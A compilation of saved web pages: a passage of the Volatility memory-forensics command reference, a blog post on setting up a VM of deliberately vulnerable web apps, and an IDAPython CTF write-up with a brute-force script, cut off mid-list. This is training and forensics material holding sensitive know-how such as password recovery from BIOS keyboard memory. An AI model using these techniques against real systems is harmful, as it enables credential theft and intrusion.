    0x06945da0 spoolsv.exe            1432 True   True   True     True    True   
      
    0x05471020 smss.exe                544 True   True   True     True    False  
      
    0x04a544b0 ImmunityDebugge        1136 True   True   True     True    True   
      
    0x069d5b28 vmtoolsd.exe           1668 True   True   True     True    True   
      
    0x06384230 vmacthlp.exe            844 True   True   True     True    True   
      
    0x010f7588 wuauclt.exe             468 True   True   True     True    True   
      
    0x066f0da0 csrss.exe               608 True   True   True     True    False  
      
    0x05f027e0 alg.exe                 216 True   True   True     True    True   
      
    0x06015020 services.exe            676 True   True   True     True    True   
      
    0x04a065d0 explorer.exe           1724 True   True   True     True    True   
      
    0x049c15f8 TPAutoConnect.e        1084 True   True   True     True    True   
      
    0x0115b8d8 svchost.exe             856 True   True   True     True    True   
      
    0x01214660 System                    4 True   True   True     True    False  
      
    0x01122910 svchost.exe            1028 True   True   True     True    True   
      
    0x04be97e8 VMwareTray.exe          432 True   True   True     True    True   
      
    0x05f47020 lsass.exe               688 True   True   True     True    True   
      
    0x063c5560 svchost.exe             936 True   True   True     True    True   
      
    0x066f0978 winlogon.exe            632 True   True   True     True    True   
      
    0x0640ac10 msiexec.exe            1144 False  True   False    False   False  
      
    0x005f23a0 rundll32.exe           1260 False  True   False    False   False  
      
    0x0113f648 1_doc_RCData_61        1336 False  True   True     True    True 
[/code]

The output looks similar for x64 systems:

[code]

    $ python vol.py -f ~/Desktop/win7_trial_64bit.raw --profile=Win7SP0x64 psxview  
      
    Volatile Systems Volatility Framework 2.1_alpha  
      
    Offset(P)          Name                    PID pslist psscan thrdproc pspcdid csrss  
      
    ------------------ -------------------- ------ ------ ------ -------- ------- -----  
      
    0x00000000173c5700 lsass.exe               444 True   True   True     True    True   
      
    0x00000000176006c0 csrss.exe               296 True   True   True     True    False  
      
    0x0000000017803b30 rundll32.exe           2016 True   True   True     True    True   
      
    0x0000000017486690 spoolsv.exe            1076 True   True   True     True    True   
      
    0x0000000017db7960 svchost.exe             856 True   True   True     True    True   
      
    0x0000000017dd09e0 svchost.exe             916 True   True   True     True    True   
      
    0x0000000017606b30 csrss.exe               344 True   True   True     True    False  
      
    0x000000001769a630 regsvr32.exe           1180 True   True   False    True    False  
      
    0x0000000017692300 wininit.exe             332 True   True   True     True    True   
      
    [snip]
[/code]

##  timers

This command prints installed kernel timers \(KTIMER\) and any associated DPCs
\(Deferred Procedure Calls\). Rootkits such as Zero Access, Rustock, and
Stuxnet register timers with a DPC. Although the malware tries to be stealthy
and hide in kernel space in a number of different ways, by finding the KTIMERs
and looking at the address of the DPC, you can quickly find the malicious code
ranges.Here's an example. Notice how one of the timers has an UNKNOWN module
\(the DPC points to an unknown region of kernel memory\). This is ultimately
where the rootkit is hiding.

[code]

    $ python vol.py -f rustock-c.vmem timers  
      
    Volatile Systems Volatility Framework 2.1_alpha  
      
    Offset(V)  DueTime                  Period(ms) Signaled   Routine    Module  
      
    ---------- ------------------------ ---------- ---------- ---------- ------  
      
    0xf730a790 0x00000000:0x6db0f0b4             0 -          0xf72fb385 srv.sys  
      
    0x80558a40 0x00000000:0x68f10168          1000 Yes        0x80523026 ntoskrnl.exe  
      
    0x821cb240 0x00000000:0x68fa8ad0             0 -          0xf84b392e sr.sys  
      
    0x8054f288 0x00000000:0x69067692             0 -          0x804e5aec ntoskrnl.exe  
      
    0xf7c13fa0 0x00000000:0x74f6fd46         60000 Yes        0xf7c044d3 ipsec.sys  
      
    0xf7c13b08 0x00000000:0x74f6fd46             0 -          0xf7c04449 ipsec.sys  
      
    0x8055a300 0x00000008:0x61e82b46             0 -          0x80533bf8 ntoskrnl.exe  
      
    0xf7c13b70 0x00000008:0x6b719346             0 -          0xf7c04449 ipsec.sys  
      
    0xf7befbf0 0x00000000:0x690d9da0             0 -          0xf89aa3f0 TDI.SYS  
      
    0x81ea5ee8 0x00000000:0x7036f590             0 -          0x80534016 ntoskrnl.exe  
      
    0x81d69180 0x80000000:0x3ae334ee             0 -          0x80534016 ntoskrnl.exe  
      
    0xf70d0040 0x00000000:0x703bd2ae             0 -          0xf70c3ae8 HTTP.sys  
      
    0xf7a74260 0x00000000:0x75113724         60000 Yes        0xf7a6cf98 ipnat.sys  
      
    0x82012e08 0x00000000:0x8a87d2d2             0 -          0xf832653c ks.sys  
      
    0x81f01358 0x00000008:0x6b97b8e6             0 -          0xf7b8448a netbt.sys  
      
    0x81f41218 0x00000000:0x6933c340             0 -          0xf7b8448a netbt.sys  
      
    0x805508d0 0x00000000:0x6ba6cdb6         60000 Yes        0x804f3b72 ntoskrnl.exe  
      
    0x80559160 0x00000000:0x695c4b3a             0 -          0x80526bac ntoskrnl.exe  
      
    0x820822e4 0x00000000:0xa2a56bb0        150000 Yes        0x81c1642f UNKNOWN  
      
    0xf842f150 0x00000000:0xb5cb4e80             0 -          0xf841473e Ntfs.sys  
      
    0x821811b0 0x00000131:0x34c6cb8e             0 -          0xf83fafdf NDIS.sys  
      
    ...
[/code]

Please note: the timers are enumerated in different ways depending on the
target operating system. Windows stores the timers in global variables for XP,
2003, 2008, and Vista. Since Windows 7, the timers are are in processor-
specific regions off of KPCR \(Kernel Processor Control Region\). As of
Volatility 2.1, if there are multiple CPUs, the timers plugin finds all KPCRs
and prints the timers associated with each CPU.For more information on timer
objects, see Ain't Nuthin But a K\(Timer\) Thing, Baby.

#  Miscellaneous

##  strings

For a given image and a file with lines of the form
`<decimal_offset>:<string>`, output the corresponding process and virtual
addresses where that string can be found. Expected input for this tool is the
output of Microsoft Sysinternals' Strings utility, or another utility that
provides similarly formatted offset:string mappings. Note that the input
offsets are physical offsets from the start of the file/image.Sysinternals
Strings can be used on Linux/Mac using Wine. Output should be redirected to a
file to be fed to the Volatility strings plugin. If you're using GNU strings
command, use the -td flags to produce offsets in decimal \(the plugin does not
accept hex offsets\). Some example usages are as follows:**Windows**

[code]

     C:\> strings.exe –q –o -accepteula win7.dd > win7_strings.txt
[/code]

**Linux/Mac**

[code]

     $ wine strings.exe –q –o -accepteula win7.dd > win7_strings.txt
[/code]

It can take a while for the Sysinternals strings program to finish. The –q and
–o switches are imperative, since they make sure the header is not output
\(-q\) and that there is an offset for each line \(-o\). The result should be
a text file that contains the offset and strings from the image for example:

[code]

    16392:@@@  
      
    17409:  
      
    17441:!!!  
      
    17473:"""   
      
    17505:###  
      
    17537:$$$  
      
    17569:%%%  
      
    17601:&&&  
      
    17633:'''  
      
    17665:(((  
      
    17697:)))  
      
    17729:***
[/code]

 **EnCase Keyword Export** You can also use EnCase to export keywords and
offsets in this format with some tweaking. One thing to note is that EnCase
exports text in UTF-16 with a BOM of \(U+FEFF\) which can cause issues with
the `strings` plugin. An example look at the exported keyword file:

[code]

    File Offset Hit Text  
      
    114923  DHCP  
      
    114967  DHCP  
      
    115892  DHCP  
      
    115922  DHCP  
      
    115952  DHCP  
      
    116319  DHCP  
      
      
      
    [snip]
[/code]

Now tweaking the file by removing the header and tabs we have:

[code]

    114923:DHCP  
      
    114967:DHCP  
      
    115892:DHCP  
      
    115922:DHCP  
      
    115952:DHCP  
      
    116319:DHCP  
      
      
      
    [snip]
[/code]

We can see that it is UTF-16 and has a BOM of \(U+FEFF\) by using a hex
editor.

[code]

    $ file export.txt   
      
    export.txt: Little-endian UTF-16 Unicode text, with CRLF, CR line terminators  
      
      
      
    $ xxd export.txt |less  
      
      
      
    0000000: fffe 3100 3100 3400 3900 3200 3300 3a00  ..1.1.4.9.2.3.:.  
      
      
      
    [snip]
[/code]

We have to convert this to ANSI or UTF-8. In Windows you can open the text
file and use the "Save As" dialog to save the file as ANSI \(in the "Encoding"
drop-down menu\). In Linux you can use `iconv`:

[code]

    $ iconv -f UTF-16 -t UTF-8 export.txt > export1.txt
[/code]

**NOTE:** You must make sure there are NO blank lines in your final "strings"
file.Now we can see a difference in how these two files are handled:

[code]

    $ ./vol.py -f Bob.vmem --profile=WinXPSP2x86 strings -s export.txt   
      
    Volatile Systems Volatility Framework 2.1_alpha  
      
    ERROR   : volatility.plugins.strings: String file format invalid.  
      
      
      
    $ ./vol.py -f Bob.vmem --profile=WinXPSP2x86 strings -s export1.txt   
      
    Volatile Systems Volatility Framework 2.1_alpha  
      
    0001c0eb [kernel:2147598571] DHCP  
      
    0001c117 [kernel:2147598615] DHCP  
      
    0001c4b4 [kernel:2147599540] DHCP  
      
    0001c4d2 [kernel:2147599570] DHCP  
      
    0001c4f0 [kernel:2147599600] DHCP  
      
    0001c65f [kernel:2147599967] DHCP  
      
    0001c686 [kernel:2147600006] DHCP  
      
      
      
    [snip]
[/code]

**NOTE:** The Volatility strings output is very verbose and it is best to
redirect or save to a file. The following command saves the output using the
`--output-file` option and filename "win7\_vol\_strings.txt"

[code]

    $ python vol.py --profile=Win7SP0x86 strings –f win7.dd –s win7_strings.txt --output-file=win7_vol_strings.txt
[/code]

By default `strings` will only provide output for processes found by walking
the doubly linked list pointed to by PsActiveProcessHead \(see pslist\) in
addition to kernel addresses. `strings` can also provide output for hidden
processes \(see psscan\) by using the \(capital\) -S switch:

[code]

    $ python vol.py --profile=Win7SP0x86 strings –f win7.dd –s win7_strings.txt --output-file=win7_vol_strings.txt -S 
[/code]

Also an EPROCESS offset can be provided:

[code]

    $ python vol.py --profile=Win7SP0x86 strings –f win7.dd –s win7_strings.txt --output-file=win7_vol_strings.txt -o 0x04a291a8
[/code]

The strings plugin takes a while to complete. When it completes, you should
have an output file with each line in the following format:

[code]

    physical_address [kernel_or_pid:virtual_address] string
[/code]

In the example output you can see PIDs/kernel references:

[code]

    $ less win7_vol_strings.txt  
      
      
      
    000003c1 [kernel:4184445889] '<'@  
      
    00000636 [kernel:4184446518] 8,t  
      
    000006c1 [kernel:4184446657] w#r  
      
    000006d8 [kernel:4184446680] sQOtN2  
      
    000006fc [kernel:4184446716] t+a`j  
      
    00000719 [kernel:4184446745] aas  
      
    0000072c [kernel:4184446764] Invalid partition ta  
      
    00000748 [kernel:4184446792] r loading operating system  
      
    00000763 [kernel:4184446819] Missing operating system  
      
    000007b5 [kernel:4184446901] ,Dc  
      
    0000400b [kernel:2147500043 kernel:4184461323] 3TYk  
      
    00004056 [kernel:2147500118 kernel:4184461398] #:s  
      
    000040b0 [kernel:2147500208 kernel:4184461488] CO0  
      
    000040e9 [kernel:2147500265 kernel:4184461545] BrvWo  
      
    000040f0 [kernel:2147500272 kernel:4184461552] %Sz  
      
    000040fc [kernel:2147500284 kernel:4184461564] A0?0=  
      
    00004106 [kernel:2147500294 kernel:4184461574] 7http://crl.microsoft.com/pki/crl/products/WinIntPCA.crl0U  
      
      
      
    [snip]  
      
      
      
    00369f14 [1648:1975394068] Ph$!  
      
    00369f2e [1648:1975394094] 9}$  
      
    00376044 [1372:20422724] Ju0w  
      
    0037616d [1372:20423021] msxml6.dll  
      
    003761e8 [1372:20423144] U'H  
      
    003762e3 [1372:20423395] }e_  
      
    0037632e [1372:20423470] xnA  
      
      
      
    [snip]  
      
      
      
    03678031 [360:2089816113 596:2089816113 620:2089816113 672:2089816113 684:2089816113 844:2089816113 932:2089816113 1064:2089816113 1164:2089816113 1264:2089816113 1516:2089816113 1648  
      
    :2089816113 1896:2089816113 1904:2089816113 1756:2089816113 512:2089816113 1372:2089816113 560:2089816113] A$9B
[/code]

Once you have the strings output, you can see which process\(es\) have the
suspicious string in memory and can then narrow your focus. You can grep for
the string or pattern depending on the context you were given. For example, if
you are looking for a particular command:

[code]

    $ grep [command or pattern] win7_vol_strings.txt > strings_of_interest.txt
[/code]

For all IPs:

[code]

    $ cat win7_vol_strings.txt | \  
      
    perl -e 'while(<>){if(/(?:(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.){3}(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)/){print $_;}}' > IPs.txt
[/code]

For all URLs:

[code]

    $ cat win7_vol_strings.txt | \  
      
    perl -e 'while(<>){ if(/(http|https|ftp|mail)\:[\/\w.]+/){print $_;}}' > URLs.txt
[/code]

Depending on the context, your searches will vary.

##  volshell

If you want to interactively explore a memory image, use the volshell command.
This gives you an interface similar to WinDbg into the memory dump. For
example, you can:

  * List processes
  * Switch into a process's context
  * Display types of structures/objects
  * Overlay a type over a given address
  * Walk linked lists
  * Disassemble code at a given address

Note: volshell can take advantage of IPython if you have it installed. This
will add tab-completion and saved command history.To break into a volshell:

[code]

    $ python vol.py --profile=Win7SP0x86 -f win7.dmp volshell  
      
    Volatile Systems Volatility Framework 2.0  
      
    Current context: process System, pid=4, ppid=0 DTB=0x185000  
      
    Welcome to volshell! Current memory image is:  
      
    file:///Users/M/Desktop/win7.dmp  
      
    To get help, type 'hh()'  
      
    >>> hh()  
      
    ps()                                     : Print a process listing.  
      
    cc(offset=None, pid=None, name=None)     : Change current shell context.  
      
    dd(address, length=128, space=None)      : Print dwords at address.  
      
    db(address, length=128, width=16, space=None) : Print bytes as canonical hexdump.  
      
    hh(cmd=None)                             : Get help on a command.  
      
    dt(objct, address=None, address_space=None)  : Describe an object or show type info.  
      
    list_entry(head, objname, offset=-1, fieldname=None, forward=True) : Traverse a _LIST_ENTRY.  
      
    dis(address, length=128, space=None)     : Disassemble code at a given address.  
      
      
      
    For help on a specific command, type 'hh(<command>)'  
      
    >>> 
[/code]

Let's say you want to see what's at 0x779f0000 in the memory of explorer.exe.
First display the processes so you can get the PID or offset of Explorer's
EPROCESS. \(Note: if you want to view data in kernel memory, you do not need
to switch contexts first.\)

[code]

    >>> ps()  
      
    Name             PID    PPID   Offset    
      
    System           4      0      0x83dad960  
      
    smss.exe         252    4      0x84e47840  
      
    csrss.exe        348    340    0x8d5ffd40  
      
    wininit.exe      384    340    0x84e6e3d8  
      
    csrss.exe        396    376    0x8d580530  
      
    winlogon.exe     424    376    0x8d598530  
      
    services.exe     492    384    0x8d4cc030  
      
    lsass.exe        500    384    0x8d6064a0  
      
    lsm.exe          508    384    0x8d6075d8  
      
    svchost.exe      616    492    0x8d653030  
      
    svchost.exe      680    492    0x8d673b88  
      
    svchost.exe      728    492    0x8d64fb38  
      
    taskhost.exe     1156   492    0x8d7ee030  
      
    dwm.exe          956    848    0x8d52bd40  
      
    explorer.exe     1880   1720   0x8d66c1a8  
      
    wuauclt.exe      1896   876    0x83ec3238  
      
    VMwareTray.exe   2144   1880   0x83f028d8  
      
    VMwareUser.exe   2156   1880   0x8d7893b0  
      
    [snip]
[/code]

Now switch into Explorer's context and print the data with either db \(display
as canonical hexdump\) or dd \(display as double-words\):

[code]

    >>> dd(0x779f0000)  
      
    779f0000  00905a4d 00000003 00000004 0000ffff  
      
    779f0010  000000b8 00000000 00000040 00000000  
      
    779f0020  00000000 00000000 00000000 00000000  
      
    779f0030  00000000 00000000 00000000 000000e0  
      
    779f0040  0eba1f0e cd09b400 4c01b821 685421cd  
      
    779f0050  70207369 72676f72 63206d61 6f6e6e61  
      
    779f0060  65622074 6e757220 206e6920 20534f44  
      
    779f0070  65646f6d 0a0d0d2e 00000024 00000000  
      
    >>> db(0x779f0000)  
      
    779f0000   4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00    MZ..............  
      
    779f0010   b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00    ........@.......  
      
    779f0020   00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................  
      
    779f0030   00 00 00 00 00 00 00 00 00 00 00 00 e0 00 00 00    ................  
      
    779f0040   0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68    ........!..L.!Th  
      
    779f0050   69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f    is program canno  
      
    779f0060   74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20    t be run in DOS   
      
    779f0070   6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00    mode....$.......
[/code]

So there is a PE at 0x779f0000 in explorer.exe. If you want to disassemble
instructions at RVA 0x2506 in the PE, do this:

[code]

    >>> dis(0x779f0000 + 0x2506)  
      
    0x779f2506 8d0c48                           LEA ECX, [EAX+ECX*2]  
      
    0x779f2509 8b4508                           MOV EAX, [EBP+0x8]  
      
    0x779f250c 8b4c4802                         MOV ECX, [EAX+ECX*2+0x2]  
      
    0x779f2510 8d0448                           LEA EAX, [EAX+ECX*2]  
      
    0x779f2513 e9c07f0300                       JMP 0x77a2a4d8  
      
    0x779f2518 85f6                             TEST ESI, ESI  
      
    0x779f251a 0f85c12c0700                     JNZ 0x77a651e1  
      
    0x779f2520 8b4310                           MOV EAX, [EBX+0x10]  
      
    0x779f2523 8b407c                           MOV EAX, [EAX+0x7c]  
      
    0x779f2526 8b4b18                           MOV ECX, [EBX+0x18]  
      
    0x779f2529 0fb7444102                       MOVZX EAX, [ECX+EAX*2+0x2]  
      
    0x779f252e 894520                           MOV [EBP+0x20], EAX  
      
    [snip]
[/code]

If you want to remind yourself of the members in an EPROCESS object for the
given OS, do this:

[code]

    >>> dt("_EPROCESS")  
      
    '_EPROCESS' (704 bytes)  
      
    0x0   : Pcb                            ['_KPROCESS']  
      
    0x98  : ProcessLock                    ['_EX_PUSH_LOCK']  
      
    0xa0  : CreateTime                     ['_LARGE_INTEGER']  
      
    0xa8  : ExitTime                       ['_LARGE_INTEGER']  
      
    0xb0  : RundownProtect                 ['_EX_RUNDOWN_REF']  
      
    0xb4  : UniqueProcessId                ['pointer', ['void']]  
      
    0xb8  : ActiveProcessLinks             ['_LIST_ENTRY']  
      
    0xc0  : ProcessQuotaUsage              ['array', 2, ['unsigned long']]  
      
    0xc8  : ProcessQuotaPeak               ['array', 2, ['unsigned long']]  
      
    0xd0  : CommitCharge                   ['unsigned long']  
      
    0xd4  : QuotaBlock                     ['pointer', ['_EPROCESS_QUOTA_BLOCK']]  
      
    [snip]
[/code]

To overlay the EPROCESS types onto the offset for explorer.exe, do this:

[code]

    >>> dt("_EPROCESS", 0x8d66c1a8)  
      
    [_EPROCESS _EPROCESS] @ 0x8D66C1A8  
      
    0x0   : Pcb                            2372321704  
      
    0x98  : ProcessLock                    2372321856  
      
    0xa0  : CreateTime                     2010-07-06 22:38:07   
      
    0xa8  : ExitTime                       1970-01-01 00:00:00   
      
    0xb0  : RundownProtect                 2372321880  
      
    0xb4  : UniqueProcessId                1880  
      
    0xb8  : ActiveProcessLinks             2372321888  
      
    0xc0  : ProcessQuotaUsage              -  
      
    0xc8  : ProcessQuotaPeak               -  
      
    0xd0  : CommitCharge                   4489  
      
    0xd4  : QuotaBlock                     2372351104  
      
    [snip]
[/code]

The db, dd, dt, and dis commands all accept an optional "space" parameter
which allows you to specify an address space. You will see different data
depending on which address space you're using. Volshell has some defaults and
rules that are important to note:

  * If you don't supply an address space and **have not** switched into a process context with cc, then you'll be using the default kernel space \(System process\).

  * If you don't supply an address space and **have** switched into a process context with cc, then you'll be using the space of the active/current process.

  * If you explicitly supply an address space, the one you supplied will be used.

Imagine you're using one of the scan commands \(psscan, connscan, etc.\) and
you think it has picked up a false positive. The scan commands output a
physical offset \(offset into the memory dump file\). You want to explore the
data around the potential false positive to determine for yourself if any
structure members appear sane or not. One way you could do that is by opening
the memory dump in a hex viewer and going to the physical offset to view the
raw bytes. However, a better way is to use volshell and overlay the structure
question to the alleged physical offset. This allows you to see the fields
interpreted as their intended type \(DWORD, string, short, etc.\)Here's an
example. First instantiate a physical address space:

[code]

    >>> physical_space = utils.load_as(self._config, astype = 'physical')
[/code]

Assuming the alleged false positive for an EPROCESS is at 0x433308, you would
then do:

[code]

    >>> dt("_EPROCESS", 0x433308, physical_space)  
      
    [_EPROCESS _EPROCESS] @ 0x00433308  
      
    0x0   : Pcb                            4403976  
      
    0x6c  : ProcessLock                    4404084  
      
    0x70  : CreateTime                     1970-01-01 00:00:00   
      
    0x78  : ExitTime                       1970-01-01 00:00:00  
      
    ...
[/code]

Another neat trick is to use volshell in a non-interactive manner. For
example, say you want to translate an address in kernel memory to its
corresponding physical offset.

[code]

    $ echo "hex(self.addrspace.vtop(0x823c8830))" | python vol.py -f stuxnet.vmem volshell  
      
    Volatile Systems Volatility Framework 2.1_alpha  
      
    Current context: process System, pid=4, ppid=0 DTB=0x319000  
      
    Welcome to volshell! Current memory image is:  
      
    file:///mem/stuxnet.vmem  
      
    To get help, type 'hh()'  
      
    >>> '0x25c8830'
[/code]

Thus the kernel address 0x823c8830 translates to physical offset 0x25c8830 in
the memory dump file.You can execute multiple commands sequentially like this:

[code]

    $ echo "cc(pid=4); dd(0x10000)" | [...]
[/code]

For more information, see BDG's Introducing Volshell.

##  bioskbd

To read keystrokes from the BIOS area of memory, use the bioskbd command. This
can reveal passwords typed into HP, Intel, and Lenovo BIOS and SafeBoot,
TrueCrypt, and BitLocker software. Depending on the tool used to acquire
memory, not all memory samples will contain the necessary BIOS area. For more
information, see Andreas Schuster's Reading Passwords From the Keyboard
Buffer, David Sharpe's Duplicating Volatility Bioskbd Command Function on Live
Windows Systems, and Jonathan Brossard's Bypassing pre-boot authentication
passwords by instrumenting the BIOS keyboard buffer.

##  patcher

The patcher plugin accepts a single argument of '-x' followed by an XML file.
The XML file then specifies any required patches as in the following example:

[code]

    <patchfile>  
      
      <patchinfo method="pagescan" name="Some Descriptive Name">  
      
        <constraints>  
      
          <match offset="0x123">554433221100</match>  
      
        </constraints>  
      
        <patches>  
      
          <setbytes offset="0x234">001122334455</setbytes>  
      
        </patches>  
      
      </patchinfo>  
      
      <patchinfo>  
      
        ...  
      
      </patchinfo>  
      
    </patchfile>
[/code]

The XML root element is always `patchfile`, and contains any number of
`patchinfo` elements. When the patchfile is run, it will scan over the memory
once for each `patchinfo`, attempting to scan using the method specified in
the `method` attribute. Currently the only support method is `pagescan` and
this must be explicitly declared in each `patchinfo` element.Each `pagescan`
type `patchinfo` element contains a single `constraints` element and a single
`patches` element. The scan then proceeds over each page in memory, verifying
that all constraints are met, and if so, the instructions specified in the
`patches` element are carried out.The `constraints` element contains any
number of `match` elements which take a specific offset attribute \(specifying
where within the page the match should occur\) and then contain a hexadecimal
string for the bytes that are supposed to match.The `patches` element contains
any number of `setbytes` elements which take a specific offset attribute
\(specifying where with the page the patch should modify data\) and then
contains a hexidecimal string for the bytes that should be written into the
page.Note: When running the patcher plugin, there will be no modification made
to memory unless the **write** option \(-w\) has been specified on the command
line.

##  pagecheck

The pagecheck plugin uses a kernel DTB \(from the System/Idle process\) and
determines which pages should be memory resident \(using the
AddressSpace.get\_available\_pages method\). For each page, it attempts to
access the page data and reports details, such as the PDE and PTE addresses if
the attempt fails. This is a diagnostic plugin, usually helpful in
troubleshooting "holes" in an address space.This plugin is not well-supported.
It is in the contrib directory and currently only works with non-PAE x86
address spaces.

[code]

    $ python vol.py --plugins=contrib/plugins/ -f pat-2009-11-16.mddramimage pagecheck  
      
    Volatile Systems Volatility Framework 2.1_rc1  
      
    (V): 0x06a5a000 [PDE] 0x038c3067 [PTE] 0x1fe5e047 (P): 0x1fe5e000 Size: 0x00001000  
      
    (V): 0x06c5f000 [PDE] 0x14d62067 [PTE] 0x1fe52047 (P): 0x1fe52000 Size: 0x00001000  
      
    (V): 0x06cd5000 [PDE] 0x14d62067 [PTE] 0x1fe6f047 (P): 0x1fe6f000 Size: 0x00001000  
      
    (V): 0x06d57000 [PDE] 0x14d62067 [PTE] 0x1fe5c047 (P): 0x1fe5c000 Size: 0x00001000  
      
    (V): 0x06e10000 [PDE] 0x14d62067 [PTE] 0x1fe62047 (P): 0x1fe62000 Size: 0x00001000  
      
    (V): 0x070e4000 [PDE] 0x1cac7067 [PTE] 0x1fe1e047 (P): 0x1fe1e000 Size: 0x00001000  
      
    (V): 0x077a8000 [PDE] 0x1350a067 [PTE] 0x1fe06047 (P): 0x1fe06000 Size: 0x00001000  
      
    (V): 0x07a41000 [PDE] 0x05103067 [PTE] 0x1fe05047 (P): 0x1fe05000 Size: 0x00001000  
      
    (V): 0x07c05000 [PDE] 0x103f7067 [PTE] 0x1fe30047 (P): 0x1fe30000 Size: 0x00001000  
      
    ...
[/code]  
---

# MattJay Security

**Created:**| _5/31/2009 7:57:09 PM_  
---|---  
**Updated:**| _5/31/2009 7:57:26 PM_  
**Author:**| __  
**Tags:**| _security tools Exploit_  
  

## Attack These Apps

May 29th, 2009

0 Comments

I’ve been messing around a bit with some purposefully vulnerable web
applications and beating them up as best I can. My problem for a while was my
inexperience with Linux and the lack of documentation for some of the
applications I was using.

So instead of spending a lot of time learning to hack and defend I was
spending a lot of time getting my java set up correctly and editing some of
the shell scripts so they would stop complaining.

I figured I can’t be the only one who has these kinds of troubles so I started
a fresh install of Ubuntu updated it, and i got a number of the web apps I was
having trouble with up and running properly and decided I would distribute it
to save some people who just want to get to the hacking all ready some time
and headaches in installing all of these things.

Like I said, this is my first write up on this sort of stuff so be gentle but
here is some of the guidance I can give you in getting these apps up and
hackable.

First of all you can download the .ova file HERE for now. It is pretty big I
apologize maybe on my next release I’ll try to use Debian or something so the
lack of GUI will get it under a gig.

Use whichever VM software you prefer I know VMware accepts .ova files but if
you’re using Fusion you might have to create a .vmx file for it.

It should log you in automatically but the info is  
UN: hacker  
PW: p@ssword  
\(please change the credentials ASAP\!\)

First you’re going to have to start apache-tomcat  
**  
$ cd Desktop/apache-tomcat-6.0.18/bin  
$ sh startup.sh  
Using CATALINA\_BASE: /home/hacker/Desktop/apache-tomcat-6.0.18  
Using CATALINA\_HOME: /home/hacker/Desktop/apache-tomcat-6.0.18  
Using CATALINA\_TMPDIR: /home/hacker/Desktop/apache-tomcat-6.0.18/temp  
Using JRE\_HOME: /usr  
$  
**

You should be good, but to check open firefox and go to http://localhost:8080
and you should see the tomcat intro page.

Once tomcat is up and running you can start up WebGoat \(and the fun
begins\!\)

Navigate back to /Desktop  
**  
$ cd WebGoat-5.2/  
$ sudo sh webgoat.sh start8080  
\(reminder: the sudo password for the default account is p@ssword which I hope
you will change\!\)  
note: sometimes after you start tomcat the first time starting WebGoat will
get stuck at this:  
at org.apache.catalina.startup.Bootstrap.main\(Bootstrap.java:409\)  
**

If this happens just restart the VM and start WebGoat again it should go all
the way through to here: **  
INFO: Severver startup in XXXX ms**  
where the X’s are numbers.

Now you can open Firefox again and navigate to
http://localhost:8080/WebGoat/attack/

It will ask you for a username and password which are both “guest”

Click the “Start WebGoat” button and go nuts. \(I am aiming to do some write-
ups on how to get through some of the lessons soon\).

In order to start up the burp proxy that allows you to complete some of the
WebGoat lessons just navigate back to the Destop and:  
**  
$ cd burpsuite\_v1.2.01/  
$ java -jar burpsuite\_v1.2.01.jar  
**

Easy enough.

The rest of the web apps are much easier and less buggy but also less step by
step educational. These are just kind of put up and have fun in whichever way
you want, the developers suggest looking at the OWASP Top Ten picking one and
trying it out.

The rest just require you to start up some LAMPP  
**  
$ sudo /opt/lampp/lampp start  
**

Check if it started up by going to http://localhost/ and seeing the XAMPP
page.

Now the other vulnerable web apps are preloaded so all you have to do is
navigate to them:  
http://localhost/mutillidae  
http://localhost/DVWA

Here are some other resources to look at to play with if you are interested in
this area:

Moth \- a VMware image with a set of vulnerable Web Applications and scripts.
_I haven’t gotten a chance to sit down and play with this one but it has come
highly recommended_

Samurai WTF \- The Samurai Web Testing Framework is a live linux environment
that has been pre-configured to function as a web pen-testing environment.
_Consider it the BackTrack of web apps._

That is all I’ve got for now, hopefully I’ll sit down and make some
instructional screen cap videos in the near future.

Special thanks to Port Swigger, Damn Vulnerable Web App, OWASP WebGoat, and
Iron Geek for giving me permission to distribute your applications. I
appreciate it and I hope you guys keep up the amazing work.

Again download the VM: HERE

Hope you enjoy and please let me know any ways you’d like me to make this
better and re-release.

Matt

# Details are still coming in: IDAPython and CTF Task

**Created:**| _4/21/2011 12:50:51 PM_  
---|---  
**Updated:**| _4/21/2011 12:50:51 PM_  
**Author:**| __  
**Tags:**| _Debugging iDA awesome_  
  

### IDAPython and CTF Task

Few month ago I read post “IDA + Python = Love” in “Hacker” journal and been a
pist off, because it is translate from HexBlog and didn't told about another
cool IDAPython feature – Appcall, which appear in IDA 5.6. Here is user guide.  

> Appcall is a mechanism used to call functions inside the debugged program
> from the debugger or your script as if it were a built-in function.
So you don't need a ctypes for simple operations.  
  
  

**Today I will show how you can use this technics in different CTF tasks with
IDA 6.0 demo.**

  
  

* * *
**RuCTF2009 Quals Reverse 100**

* * *
  
Every CTF quals we have interesting reverse task with Brute Force. Let's get
reverse 100 from RuCTF quals 2009.  
  
It was pretty simple binary with checking string function.  
  

<img src='img/Temp2_2145.jpg' />

  

First of all start debugger and open python command line.  

  1. Initialize Appcall object - find a function by name and confront prototype.
  2. Find String pointer with IDC LocByName function and patch them by PutDataList.
  3. Initialize permutation object and start the script. 

import string  
from idautils import PutDataList  
from idc import LocByName  
from itertools import product  
  
brute = Appcall.proto\("brute\_f", "int \_\_cdecl brute\_f\(\);"\)  
  
def patchString\( val \):  
PutDataList\( LocByName\('string'\), map\( lambda\(i\):ord\(i\), val\)\)  
  
for i in xrange\(3\):  
for str in product\( string.letters \+ string.digits, repeat=i\):  
patchString\(str\)  
if brute\(\) == 1:  
print ''.join\(str\)

  
In console menu you can see results:  

> **aF nh oY p4 rV sg D5 FW Gf HH Iy Tv UG Zi 18 2k 3Z**
  

* * *
**RuCTF2009 Quals Reverse 200**

* * *
  

<img src='img/Temp2_2142.jpg' width='200' height='115' />

  
Another Example, It's necessary to call some function with different
parameters. Look at  reverse 200 in RuCTF quals 2009. We have a hex string
**0408151623426C12** and dll. Find a upper function in Graph mode.  
  

<img src='img/Temp2_2141.jpg' />

  
  
  
If you have a Hex-Rays\(or IDA 5.5\) you can decompile it and get a function
prototype. Here is it  

> _int \_\_fastcall func\(char \*, char \*, char \*\); _
__ Presence of calling convention is obligatory.  
  
  
  
  
  
  
Like in last example  

  1. initializing Appcall object
  2. creating input and output buffers. 
  3. calling function

  

